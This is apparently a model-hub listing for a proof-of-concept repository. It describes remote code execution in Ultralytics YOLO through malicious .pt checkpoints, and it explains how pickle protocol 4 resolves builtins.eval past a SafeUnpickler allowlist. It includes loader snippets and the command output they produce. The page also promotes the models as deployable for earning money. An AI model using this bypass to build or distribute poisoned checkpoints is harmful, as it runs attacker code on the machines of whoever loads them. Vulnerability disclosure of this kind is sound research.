You can deploy this model and start earning money today!

th3-j0k3r/
ultralytics-yolo-rce-poc

Name: ultralytics-yolo-rce-poc
Availability: InStock

Views

No views yet

Security Research PoC — Ultralytics YOLO RCE + SafeUnpickler Bypass

Two vulnerabilities:

1. Default RCE — malicious_default.pt triggers torch.load(weights_only=False) via patches.py:179

python

from ultralytics.nn.tasks import torch_safe_load
ckpt, _ = torch_safe_load('malicious_default.pt')
# Prints: [VULNERABLE] Ultralytics torch.load(weights_only=False) RCE:
# uid=501(user) gid=20(staff) ...

2. SafeUnpickler Bypass — malicious_safe_bypass.pt uses pickle protocol 4 to resolve builtins.eval through the SafeUnpickler allowlist

python

from ultralytics.nn.tasks import torch_safe_load
ckpt, _ = torch_safe_load('malicious_safe_bypass.pt', safe_only=True)
# Prints: [VULNERABLE] Ultralytics SafeUnpickler BYPASS:
# uid=501(user) gid=20(staff) ...

The bypass works because pickle protocol 4 serializes eval as builtins.eval (Python 3 name), while protocol 2 uses __builtin__.eval (Python 2 name). SafeUnpickler allows builtins but not __builtin__.

th3-j0k3r/ultralytics-yolo-rce-poc

Security Research PoC — Ultralytics YOLO RCE + SafeUnpickler Bypass

th3-j0k3r/
ultralytics-yolo-rce-poc